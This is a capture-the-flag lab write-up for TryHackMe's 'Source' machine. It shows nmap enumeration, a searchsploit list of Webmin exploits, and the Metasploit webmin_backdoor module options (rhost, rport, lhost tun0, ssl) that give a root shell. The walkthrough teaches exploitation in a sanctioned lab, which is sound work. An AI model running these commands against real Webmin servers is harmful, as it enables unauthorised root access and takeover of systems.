TryHackMe - Source
Description
Hello hackers, I hope you are doing well. We are doing Source from TryHackMe. The machine is running a vulnerable version of webmin giving us root access to the target.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
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Nmap scan report for 10.10.102.63
Host is up (0.094s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
| 256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_ 256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have two open ports, 22(ssh) and 10000(webmin)
Web
Let’s navigate to the web page at port 10000.
We are advised to use SSL, so let’s add https to the url.
We webmin login page. I tried some default credentials but no luck.
Foothold
Let’s check for exploits in webmin using searchsploit.
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$ searchsploit webmin
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal | cgi/webapps/23535.txt
phpMyWebmin 1.0 - 'target' Remote File Inclusion | php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion | php/webapps/2451.txt
Webmin - Brute Force / Command Execution | multiple/remote/705.pl
webmin 0.91 - Directory Traversal | cgi/remote/21183.txt
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing | linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation | linux/remote/21765.pl
Webmin 0.x - Code Input Validation | linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution | multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI) | multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit) | unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities | cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit) | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Bypass RCE (Metasploit) | linux/webapps/49318.rb
Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF) | linux/webapps/50144.py
Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF) | linux/webapps/50126.py
Webmin 1.984 - Remote Code Execution (Authenticated) | linux/webapps/50809.py
Webmin 1.996 - Remote Code Execution (RCE) (Authenticated) | linux/webapps/50998.py
Webmin 1.x - HTML Email Command Execution | cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit) | linux/webapps/47330.rb
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
There are a lot of rce exploits, let’s fire up metasploit and see what modules we can use.
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msf6 > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_package_updates_rce 2022-07-26 excellent Yes Webmin Package Updates RCE
3 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
4 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
5 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
6 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
Let’s use exploit/linux/http/webmin_backdoor module and set the following options:
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use exploit/linux/http/webmin_backdoor
set rhost {target_IP}
set rport 10000
set lhost tun0
set ssl true
Now enter exploit.
Great! We got access as root!
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).
This post is licensed under CC BY 4.0 by the author.